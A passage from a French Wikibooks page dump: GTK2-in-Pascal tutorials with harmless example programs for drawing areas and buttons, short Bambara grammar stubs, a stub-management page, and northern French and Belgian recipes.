GtkDrawingArea|GtkDrawingArea]] |} == Utilisation de base == === Création === La création est très simple : function gtk_drawing_area_new : PGtkWidget; === Modification de la taille de la zone de dessin === Une fonction permet de choisir ou de modifier la taille de la zone de dessin : procedure gtk_drawing_area_size(darea : PGtkDrawingArea; width : gint; height : gint); === Utilisation des signaux === Le signal <code>realize</code> est émis lors du premier affichage de la GtkDrawingArea. Le signal <code>expose_event</code> est émis lorsque celle-ci à besoin d'un rafraichissement (lorsque la fenêtre devient cachée par une autre, puis revient au premier plan par exemple). Il faut connecter ces deux signaux à des fonctions qui vont réaliser le dessin. Plusieurs méthodes sont possibles : soit on dessine systématiquement et à ce moment on peut se permettre de ne connecter que <code>expose_event</code>, soit on dessine dans une image (''pixmap'') à l'appel du signal <code>realize</code> puis lors de l'appel <code>expose_event</code> on ne redessine que l'image mémorisée. === Le dessin === Il va être réalisé avec des fonctions du Gdk, ''Gimp Drawing Kit'', les outils de dessin de Gimp. Cf le chapitre [[Programmation GTK2 en Pascal - Dessiner avec le Gdk|Dessiner avec le Gdk]]. == Programme exemple == On va dessiner dans une zone de dessin une ligne, puis un rectangle, une moitié de ballon de rugby et enfin un quadrilatère, tout cela en noir sur fond blanc. Voilà le fichier <code>gtk019.pas</code> : program gtk019; uses glib2, gtk2, gdk2; var Pixmap : PGdkPixmap; procedure OnZoneDessinRealize(APWidget : PGtkwidget; AData : PGdkEventConfigure); cdecl; var Quadrilatere : array[0..3] of TGdkPoint; begin Pixmap := gdk_pixmap_new(APWidget^.window, APWidget^.allocation.width, APWidget^.allocation.height, -1); gdk_draw_rectangle(Pixmap, APWidget^.style^.white_gc, 1, 0, 0, APWidget^.allocation.width, APWidget^.allocation.height); gdk_draw_line(Pixmap, APWidget^.style^.black_gc, 0, 0, 50, 50); gdk_draw_rectangle(Pixmap, APWidget^.style^.black_gc, 1, 50, 50, 100, 10); gdk_draw_arc(Pixmap, APWidget^.style^.black_gc, 1, 101, 101, 100, 50, 0, 180*64); Quadrilatere[0].x := 200; Quadrilatere[0].y := 20; Quadrilatere[1].x := Quadrilatere[0].x + 70; Quadrilatere[1].y := Quadrilatere[0].y; Quadrilatere[2].x := Quadrilatere[1].x + 50; Quadrilatere[2].y := Quadrilatere[0].y + 70; Quadrilatere[3].x := Quadrilatere[0].x - 50; Quadrilatere[3].y := Quadrilatere[2].y; gdk_draw_polygon(Pixmap, APWidget^.style^.black_gc, 1, Quadrilatere, 4); gtk_widget_queue_draw(APWidget); end; procedure OnZoneDessinRafraichir(APWidget : PGtkwidget; AData : PGdkEventExpose); cdecl; begin gdk_draw_drawable(APWidget^.window, APWidget^.style^.fg_gc[GTK_WIDGET_STATE(APWidget)], Pixmap, AData^.area.x, AData^.area.y, AData^.area.x, AData^.area.y, -1, -1); end; var pFenetre : PGtkWidget; pZoneDessin : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk019 : Zone de dessin'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pZoneDessin := gtk_drawing_area_new; gtk_container_add(GTK_CONTAINER(pFenetre), pZoneDessin); g_signal_connect(pGTKOBJECT(pZoneDessin), 'realize', GTK_SIGNAL_FUNC(@OnZoneDessinRealize), NULL); g_signal_connect(pGTKOBJECT(pZoneDessin), 'expose_event', GTK_SIGNAL_FUNC(@OnZoneDessinRafraichir), NULL); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk019</code> : [[Image:Programmation GTK2 en Pascal - gtk019.png]] {{Programmation GTK2 en Pascal - Visuels}} Catégorie:Bambara 2572 25972 2005-11-24T17:10:25Z Marc 66 [[Catégorie:Langue]] <!--{{bambara}}--> Le '''bambara''', aussi connu sous le nom de ''bamanankan'', est une langue niger-congo parlée au [[w:Mali|Mali]] par plus de 9 millions de personnes. De nombreuses autres personnes parlent également cette langue, ou des dialectes, dans d'autres pays voisins comme le Burkina Faso, la Côte d'Ivoire et la Gambie. Elle s'écrit à l'aide d'un alphabet latin où on ajoute quelques signes phonétiques. C'est une [[w:Langue agglutinante|langue agglutinante]], essentiellement phonétique. [[Catégorie:Langue]] Wikilivres:Ébauches à compléter 2573 14157 2005-02-15T19:03:27Z Guillaumito 46 wikipédia -> wikilivres et autres trucs {{ébauche}} Une ébauche est généralement un [[Special:Shortpages|article court]] qui donne une première définition succinte en attendant d'être amélioré par d'autres contributeurs. Elle ne couvre en tout cas pas suffisamment le sujet pour être considérée comme un article à part entière. Merci de ne pas placer sur cette page <u>des articles qui n'existent pas encore</u>, utilisez plutôt la page ''[[Wikilivres:Demander un article|Demander un article]]''. Si l'article : * ne contient aucune information pertinente, il peut être proposé sur la liste des [[Wikilivres:Pages à supprimer|pages à supprimer]] ; * est déjà consistant, mais qu'il mérite de plus amples approfondissements, vous pouvez le proposer sur la liste des [[Wikilivres:Articles à approfondir|articles à approfondir]] ; * contient des informations pertinentes mais qu'il ne correspond aux critères de Wikipédia (style, mise en page, orthographe, etc.), vous pouvez le proposer sur la liste des [[Wikilivres:Pages à modifier|pages à modifier]]. Si vous pensez pouvoir améliorer l'article, il vous suffit de le modifier et de commencer à le compléter. Sinon vous pouvez le marquer en ajoutant au début de l'article le code <tt><nowiki>{{ébauche}}</nowiki></tt> (double accolades comprises) qui se transforme en message d'avertissement lorsque l'article est affiché. Si vous marquez l'article, vous pouvez éventuellement le lister ci-dessous. ==Liste exhaustive== Plus techniquement, et plus complètement, [[:Catégorie:Wikilivres:ébauches|la liste des pages contenant le message ébauche]] calculée en temps réel par Wikipédia. Genre (bambara) 2574 14158 2005-03-27T00:41:06Z 81.57.43.20 genre grammatical {{bambara}} Le bambara ne connait pas de genre grammatical. Pour indiquer qu'un animal (..) est masculin on peut utiliser le suffixe "-cè", et pour la féminité on utilise "-muso". Par exemple: ;wara :lion ;warace :lion masculin ;waramuso :lionne {{ébauche}} Pluriels (bambara) 2575 14159 2005-03-20T17:53:33Z Guaka 165 -lu grace a Issa Dolo {{bambara}} Pour indiquer le pluriel on utilise le suffixe -w ou -lu en bambara. Par example: * femme - muso * femmes - musolu ;Mali cew - les hommes du Mali * wara - lion * waraw - lions La prononciation de -w est proche de "u". Exception: * enfant - den * enfants - denw, prononcé ''deun'' {{ébauche}} Image:Tartemaroillesavcuisson.jpg 2576 14160 2005-02-15T19:37:44Z Antoinel 182 Image:tmavcuisson.png {{GFDL}} Image:Tartemaroillesapcuisson.jpg 2577 14161 2005-02-15T19:44:37Z Antoinel 182 Image/tmaprèscuisson.png {{GFDL}} Cuisine:Le potjevleesch 2578 14162 2005-02-15T20:25:28Z Weft 169 essai == Le potjevleesch == Ce plat nordiste flamand au nom imprononçable signifie «pot de viandes». Il est originaire de Dunkerque. Il s'agit de morceaux de viandes de poulet, lapin et veau, froides et prises dans de la gelée. Les frites sont placées sur l'ensemble de manière à faire fondre la gelée! On l'apprécie le plus souvent lors du carnaval. ====Ingrédients==== pour 6 personnes * Poulet (300 grammes) * Lapin (300 grammes) * Veau (300 grammes de flanchet) * Poitrine de lard * Oignons * Sel, poivre * Thym, laurier, baies de génévrier * Vin blanc ou vinaigre de vin * Eau ====Matériel==== * Terrine en terre ====Préparation ==== 15 minutes #Disposer dans le fond de la terrine une couche d'oignons coupés en rondelles. #Ajouter sel, poivre, thym, laurier et les baies de génévrier. #Recouvrir de morceaux de poulet, lapin, veau et porc selon les proportions désirées. #Alterner successivement par couches oignons et viandes. #Puis verser eau et vinaigre ou eau et vin blanc en proportions égales sur la viande qui doit être complètement recouverte. #Porter à ébullition et laisser cuire à feu doux 3 à 4 heures. Ajouter un peu de mélange vinaigre-eau #Laisser refroidir doucement puis placer au réfrigérateur pendant au moins 12 heures pour laisser prendre la gelée. Cuisine:Carbonade flamande 2579 23056 2005-10-14T11:46:17Z 81.244.168.25 /* Préparation */ == La carbonade flamande == La '''carbonade flamande''' est une recette du Nord de la France et de la Belgique. ====Ingrédients==== [[image:ingredients_carbonade.png|250 px|left|thumb|Les ingrédients]] Pour 6 personnes * 1 kg de bœuf à braiser * 3 oignons * 50 g de saindoux ou de beurre * 1/3 de litre de bière brune * 2 cuillères à soupe de sucre roux * thym * Laurier * sel et poivre * 50 g de farine <br /> ====Préparation==== Préparation : 15 minutes Cuisson : 2 heures [[image:Carbonade_flamande.jpg|250 px|left|thumb|Carbonade flamande]] # Couper la viande de bœuf en gros cube, les rouler dans la farine. #Faire chauffer le beurre dans une cocotte ou dans une sauteuse. Faire dorer les morceaux de viande farinés. Ajouter les oignons hachés, le thym, le laurier (en bouquet garni), le sel et le poivre. Mouiller à la bière (on peut mettre plus que les 1/3 de litre si on laisse mijoter plus longtemps) et le sucre. #Couvrir la cocotte, la mettre sur feux doux et cuire encore une heure et demi (si vous avez le temps n'hésitez pas à laisser mijoter à feu doux plus longtemps, rallonger éventuellement avec de l'eau ou de la jupiler). ====Accompagnement==== Servir avec des pommes de terre cuites à la vapeur ou des frites. Il est plus traditionnel d'accompagner la carbonade d'une bonne bière belge. Cuisine:Glace aux speculoos 2580 27035 2005-12-19T09:13:02Z 82.127.1.201 == La glace aux speculoos == ==== Ingrédients ==== <table><tr><td> *200 g de speculoos *4 jaunes d'oeuf *2,5 dl de crème fraîche à fouetter *100g de sucre *40 cl de lait *1 sachet de sucre vanillé *1/2 c. à c. de canelle *1 pincée de sel</td> <td>[[Image:Ingrédients glace speculoos.jpg]]</td></tr></table> ==== Préparation ==== <table><tr><td> #Mélanger le sucre, le sel et les jaunes d'oeufs et les battre afin d'obtenir une mousse. Ajouter le lait, la canelle et le sucre vanillé. #Placez le mélange au bain-marie pour épaissir, sans cesser de mélanger. Lorsque le mélange est épais, laisser refroidir. #Emietter les speculoos, les ajouter au mélange et mélanger. #Mettre au réfrigérateur pendant 20 à 30 minutes. #Fouetter la crème fraîche et l'incorporer au mélange. #Placer au congélateur pendant au minimun cinq heures.</td> <td>[[Image:Préparation spéculos.JPG]]</td></tr></table> {{Cuisine:Desserts}} Cuisine:Glace à la chicorée 2581 14165 2005-04-21T17:17:15Z Guillaumito 46 {{Cuisine:Desserts}} == La glace à la chicorée == ==== Ingrédients ==== <table><tr><td> *25 cl de crème fraîche *150 g de sucre *12cl de lait *3 c. à s. de chicorée liquide (suivant les goûts)</td> <td>[[Image:Ingrédients glace chicorée.JPG]]</td></tr></table> ==== Préparation ==== <table><tr><td> #Mélanger le sucre, le lait et la chicorée liquide #Battre la crème fraîche et l'incorporer au mélange #Placer au congélateur pendant au moins cinq heures </td><td>[[Image:Préparation chicorée.JPG]]</td></tr></table> {{Cuisine:Desserts}} Programmation GTK2 en Pascal - Les boutons 2582 14166 2005-03-22T19:56:33Z 82.224.88.52 typo {{Programmation GTK2 en Pascal}} Les '''boutons''' sont un élément important d'une interface graphique vu qu'ils sont facilement manipulables à la souris. Gtk+ permet la gestion de plusieurs contrôles de ce type : * [[Programmation GTK2 en Pascal - GtkButton|GtkButton]] * [[Programmation GTK2 en Pascal - GtkToggleButton|GtkToggleButton]] * [[Programmation GTK2 en Pascal - GtkCheckButton|GtkCheckButton]] * [[Programmation GTK2 en Pascal - GtkRadioButton|GtkRadioButton]] Cuisine:Recettes de glaces 2583 14167 2005-02-15T20:31:26Z Weft 169 essai {{:Cuisine:Glace aux speculoos}} {{:Cuisine:Glace à la chicorée}} Cuisine:Pain perdu 2584 45299 2006-06-21T05:20:56Z 83.83.38.169 w: == Le pain perdu == Le pain perdu se prépare en dix minutes et est très apprécié des enfants pour le goûter ou en dessert. ==== Ingrédients ==== * quelques tranches de pain rassis * un demi-bol de lait * 2 ou 3 œufs * beurre * [[w:Cassonade|cassonade]] ==== Préparation ==== <table><tr><td> #Verser le lait dans une assiette creuse. Battre les œufs dans une autre assiette creuse. #Tremper une tranche de pain dans le lait, en le laissant bien imbiber. Puis passer la tranche de pain dans les œufs battus. #Faire revenir la tranche de pain dans une poêle avec un peu de beurre. #Servir avec de la cassonade.</td><td>[[Image:Pain_perdu.JPG|thumbnail]]</td></tr></table> Image:Programmation GTK2 en Pascal - gtk020.png 2585 14169 2005-02-15T20:54:14Z Didier 186 Exemple du programme gtk020.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk020.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Modèle:Programmation GTK2 en Pascal - Boutons 2586 14170 2005-02-16T16:18:54Z Didier 186 + ligne blanche {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#EAF5FB;" | Boutons : [[Programmation GTK2 en Pascal - GtkButton|GtkButton]] ~ [[Programmation GTK2 en Pascal - GtkToggleButton|GtkToggleButton]] ~ [[Programmation GTK2 en Pascal - GtkCheckButton|GtkCheckButton]] ~ [[Programmation GTK2 en Pascal - GtkRadioButton|GtkRadioButton]] |} Programmation GTK2 en Pascal - GtkButton 2587 14171 2005-02-15T20:58:51Z Didier 186 /* Programme exemple */ maj intro {{Programmation GTK2 en Pascal}} == Présentation == Élément essentiel d'une interface graphique, le contrôle '''GtkButton''' est un bouton de base, une zone rectangulaire mis en valeur par un relief et un label. Gtk+ permet néanmoins d'aller plus loin, en pouvant lui ajouter des éléments comme des images « pixmap » ou autres. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkButton|GtkButton]] |} == Utilisation de base == === Création d'un bouton === Pour créer un bouton, Gtk+ permet l'utilisation de quatre fonctions différentes : function gtk_button_new : PGtkWidget; function gtk_button_new_with_label(_label : Pgchar) : PGtkWidget; function gtk_button_new_with_mnemonic(_label : Pgchar) : PGtkWidget; function gtk_button_new_from_stock(stock_id : Pgchar) : PGtkWidget; La première fonction permet de créer un bouton vide. Cela permet de personnaliser complètement le bouton car <code>GtkButton</code> dérive de <code>[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]]</code>. On peut donc inclure n'importe quel type de contrôle dans le bouton (<code>GtkLabel</code>, <code>GtkImage</code>, etc.). Comme il dérive également de <code>[[Programmation GTK2 en Pascal - GtkBin|GtkBin]]</code>, il ne peut contenir qu'un seul contrôle, il faudra donc passer par un <code>[[Programmation GTK2 en Pascal - GtkBox|GtkBox]]</code> pour inclure plusieurs contrôles. La deuxième fonction s'occupe en plus d'insérer un label à l'intérieur du bouton. Le paramètre <code>_label</code> (le caractère souligné permet d'éviter d'utiliser « label » directement qui est un mot réservé en Pascal) correspond au texte à afficher. Comme pour le contrôle <code>GtkLabel</code>, si un caractère accentué est utilisé, il faudra appeler la fonction <code>g_locale_to_utf8</code> pour avoir un affichage correct du texte. La troisième fonction ajoute à cela une nouvelle fonctionnalité. Elle permet, en plus d'afficher un label, de faire réagir le bouton à l'aide d'un raccourci clavier. La touche servant de raccourci est spécifiée dans le paramètre <code>label</code>. Il suffit de mettre « _ » devant la lettre souhaitée pour que la combinaison Atl+Touche active le bouton. La quatrième fonction permet de créer un bouton avec un label, un raccourci clavier et une image. Cependant, pour faire cela, Gtk+ utilise les <code>[[Programmation GTK2 en Pascal - GtkStockItem|GtkStockItem]]</code> qui est une structure contenant les informations sur le label et l'image à afficher. Gtk+ comporte déjà beaucoup de <code>GtkStockItem</code> prédéfinis (en tout cas les plus courant). Le paramètre <code>stock_id</code> est donc l'identifiant du <code>GtkStockItem</code> à utiliser. Une fois le bouton créé, il ne reste plus qu'à l'inclure dans une fenêtre et de connecter le signal <code>clicked</code>, pour qu'un clic de souris sur le bouton corresponde à une action précise. === Modifier le texte d'un bouton === À tout moment pendant l'exécution du programme, nous pouvons connaître ou modifier le texte d'un bouton à l'aide d'une de ces deux fonctions : function gtk_button_get_label(button : PGtkButton) : Pgchar; procedure gtk_button_set_label(button : PGtkButton; _label : Pgchar); La première fonction renvoie le texte du bouton <code>button</code> (premier paramètre), tandis que la deuxième modifie le texte du bouton par la valeur du deuxième paramètre <code>_label</code>. == Programme exemple == Pour ce chapitre, notre objectif sera de créer une application contenant trois boutons qui permettront de quitter l'application, un avec un label simple, un autre avec un label muni d'un raccourci clavier et le troisième avec une image issu du stock de bouton. Voilà le fichier <code>gtk020.pas</code> : program gtk020; uses glib2, gtk2; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBtn : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk020 : Bouton'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création du bouton 1 pBtn := gtk_button_new_with_label('Quitter'); gtk_box_pack_start(GTK_BOX(pVBox), pBtn, TRUE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtn), 'clicked', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création du bouton 2 pBtn := gtk_button_new_with_mnemonic('_Quitter'); gtk_box_pack_start(GTK_BOX(pVBox), pBtn, TRUE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtn), 'clicked', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création du bouton 3 pBtn := gtk_button_new_from_stock(GTK_STOCK_QUIT); gtk_box_pack_start(GTK_BOX(pVBox), pBtn, TRUE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtn), 'clicked', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk020</code> : [[Image:Programmation GTK2 en Pascal - gtk020.png]] {{Programmation GTK2 en Pascal - Boutons}} Image:Programmation GTK2 en Pascal - gtk021-1.png 2588 14172 2005-02-15T21:57:17Z Didier 186 Exemple du programme gtk021.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk021.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk021-2.png 2589 14173 2005-02-15T21:57:48Z Didier 186 Exemple du programme gtk021.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk021.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk021-3.png 2590 14174 2005-02-15T21:58:19Z Didier 186 Exemple du programme gtk021.pas, étape 3. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk021.pas, étape 3. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkToggleButton 2591 14175 2005-02-16T11:37:02Z Didier 186 /* Programme exemple */ Amélioration code exemple {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkToggleButton''' est un bouton poussoir qui ne peut prendre que deux états : enfoncé ou relâché. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkButton|GtkButton]] └─[[Programmation GTK2 en Pascal - GtkToggleButton|GtkToggleButton]] |} == Utilisation de base == === Création === Comme d'habitude, il n'y a rien de bien compliqué vu que c'est toujours le même principe : function gtk_toggle_button_new : PGtkWidget; function gtk_toggle_button_new_with_label(_label : Pgchar) : PGtkWidget; function gtk_toggle_button_new_with_mnemonic(_label : Pgchar) : PGtkWidget; La première fonction crée un nouveau bouton vide, alors que la seconde ajoute du texte à l'intérieur et la troisième ajoute en plus un raccourci clavier. === État du bouton === Il peut être intéressant de connaître l'état du bouton pour agir en conséquence. Une fois encore, rien de plus simple on utilise la fonction : function gtk_toggle_button_get_active(toggle_button : PGtkToggleButton) : gboolean; Cette dernière nous renvoie TRUE si le bouton est enfoncé et FALSE sinon. Afin de pouvoir utiliser le paramètre <code>toggle_button</code> qui est le bouton dont on veut connaître l'état, il faut utiliser la fonction GTK_TOGGLE_BUTTON. Pour modifier l'état du bouton, c'est aussi simple : procedure gtk_toggle_button_set_active(toggle_button : PGtkToggleButton; is_active : gboolean); Il suffit de mettre le paramètre is_active à TRUE si l'on veut enfoncer le bouton ou à FALSE pour le relâcher. === Apparence du bouton === Il existe cependant un troisième état qui n'est pas accessible en cliquant sur le bouton mais par une fonction spécifique. Ce troisième état, vous le connaissez sûrement. Le meilleur exemple est celui des éditeurs de texte : Vous avez une phrase dans laquelle il y a du texte normal et du texte en gras. Si vous sélectionnez le texte en gras, le bouton permettant justement de le mettre en gras s'enfonce (en général B). Par contre si vous sélectionnez le texte normal, ce même bouton repasse à son état relâché. Venons en au troisième état, qui apparaît lorsque vous sélectionnez la phrase entière. Le bouton ne change pas d'état mais seulement d'aspect, il donne l'impression d'être inactif. Ce changement d'aspect doit se faire manuellement, et s'effectue avec cette fonction : procedure gtk_toggle_button_set_inconsistent(toggle_button : PGtkToggleButton; setting : gboolean); Il suffit de mettre le paramètre <code>setting</code> à TRUE pour donner au bouton l'aspect inactif. Et pour connaître l'aspect du bouton, il y a tout naturellement la fonction : function gtk_toggle_button_get_inconsistent(toggle_button : PGtkToggleButton) : gboolean; == Programme exemple == Nous allons construire une application contenant un <code>GtkToggleButton</code> qui changera d'état (bien sûr) lorsque nous cliquerons dessus, mais aussi lorsque nous cliquerons sur un deuxième bouton (le changement d'état entraînera la modification du label). De plus, il y aura un troisième bouton pour changer l'aspect du bouton (idem, on change aussi le label). Voilà le fichier <code>gtk021.pas</code> : program gtk021; uses glib2, gtk2; procedure OnBtnAEtatToggle(APWidget : PGtkwidget; AData : pgpointer); cdecl; var Etat : GBoolean; Inconsistent : GBoolean; LabelBtn : PGChar; LabelEtat, LabelIncons : PGChar; begin // Récuperation de l'état du bouton Etat := gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(APWidget)); // Récuperation de l'aspect du bouton Inconsistent := gtk_toggle_button_get_inconsistent(GTK_TOGGLE_BUTTON(APWidget)); // Construction du label du bouton if Etat then LabelEtat := g_strdup('Enfoncé') else LabelEtat := g_strdup('Relâché'); if Inconsistent then LabelIncons := g_strdup('Modifié') else LabelIncons := g_strdup('Normal'); LabelBtn := g_strdup_printf('État : %s - Aspect : %s', [LabelEtat, LabelIncons]); // Modification du label du bouton gtk_button_set_label(GTK_BUTTON(APWidget), LabelBtn); // Libération des chaînes g_free(LabelBtn); g_free(LabelEtat); g_free(LabelIncons); end; procedure OnBtnMajEtatClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var Etat : GBoolean; begin // Récuperation de l'état du bouton Etat := gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(AData)); // Modification de l'état du bouton gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(AData), Etat <> TRUE); end; procedure OnBtnMajAspectClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var Inconsistent : GBoolean; begin // Récuperation de l'aspect du bouton Inconsistent := gtk_toggle_button_get_inconsistent(GTK_TOGGLE_BUTTON(AData)); // Modification de l'aspect du bouton gtk_toggle_button_set_inconsistent(GTK_TOGGLE_BUTTON(AData), Inconsistent <> TRUE); // On emet le signal « toggle » pour changer le texte du bouton gtk_toggle_button_toggled(GTK_TOGGLE_BUTTON(AData)); end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBtnAEtat : PGtkWidget; pBtnMajEtat : PGtkWidget; pBtnMajAspect : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk021 : Bouton à état'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création du bouton à état pBtnAEtat := gtk_toggle_button_new_with_label('État : Relâché - Aspect : Normal'); gtk_box_pack_start(GTK_BOX(pVBox), pBtnAEtat, FALSE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtnAEtat), 'toggled', GTK_SIGNAL_FUNC(@OnBtnAEtatToggle), NULL); // Création du bouton de changement d'état pBtnMajEtat := gtk_button_new_with_label('Changer état'); gtk_box_pack_start(GTK_BOX(pVBox), pBtnMajEtat, FALSE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtnMajEtat), 'clicked', GTK_SIGNAL_FUNC(@OnBtnMajEtatClick), pBtnAEtat); // Création du bouton de changement d'aspect pBtnMajAspect := gtk_button_new_with_label('Changer aspect'); gtk_box_pack_start(GTK_BOX(pVBox), pBtnMajAspect, FALSE, FALSE, 5); g_signal_connect(pGTKOBJECT(pBtnMajAspect), 'clicked', GTK_SIGNAL_FUNC(@OnBtnMajAspectClick), pBtnAEtat); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk021</code> : [[Image:Programmation GTK2 en Pascal - gtk021-1.png]] Puis après avoir cliqué sur le bouton à état : [[Image:Programmation GTK2 en Pascal - gtk021-2.png]] Puis après avoir cliqué sur le bouton de changement d'aspect : [[Image:Programmation GTK2 en Pascal - gtk021-3.png]] {{Programmation GTK2 en Pascal - Boutons}} Cuisine:Tarte au maroilles 2592 16297 2005-07-11T07:59:12Z 80.14.147.163 /* La tarte au [[w:Maroilles (fromage)|maroilles]] */ > "flamiche" est le terme exact == La flamiche au [[w:Maroilles (fromage)|maroilles]] == [[Image:Tartemaroillesavcuisson.jpg|right|thumbnail|Juste avant la cuisson.]] ==== Ingrédients ==== * 200g de farine * 8g de levure de boulanger * 1 oeuf * le quart d'un maroille * une pincée de sucre ==== Préparation ==== [[Image:Tartemaroillesapcuisson.jpg|thumbnail|Juste avant la dégustation.]] # Préchauffer le four à 50°C. # Faire gonfler la levure dans un verre ou une tasse avec un peu d'eau chaude et le sucre. # Dans un saladier, creuser un puit avec la farine, verser au centre l'oeuf, la levure et le sel. Pétrir le mélange à la main jusqu'à obtenir une päte visqueuse. # Beurrer et saupoudrer de farine un plat puis étaler la pâte. Le mettre au four pendant environ 20 minutes pour que la pâte gonfle. # Couper des tranches de maroilles et en couvrir la pâte. # Mettre au four pendant 15-20 minutes à 180°C. Image:Programmation GTK2 en Pascal - gtk022-1.png 2594 14178 2005-02-16T11:53:16Z Didier 186 Exemple du programme gtk022.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk022.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk022-2.png 2595 14179 2005-02-16T11:54:30Z Didier 186 Exemple du programme gtk022.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk022.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk022-3.png 2596 14180 2005-02-16T11:55:05Z Didier 186 Exemple du programme gtk022.pas, étape 3. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk022.pas, étape 3. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkCheckButton 2597 14181 2005-02-16T11:57:33Z Didier 186 Création {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkCheckButton''' permet de gérer les cases à cocher. Comme c'est un contrôle qui peut prendre deux états, coché ou pas, il dérive directement du <code>[[Programmation GTK2 en Pascal - GtkToggleButton|GtkToggleButton]]</code>. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkButton|GtkButton]] └─[[Programmation GTK2 en Pascal - GtkToggleButton|GtkToggleButton]] └─[[Programmation GTK2 en 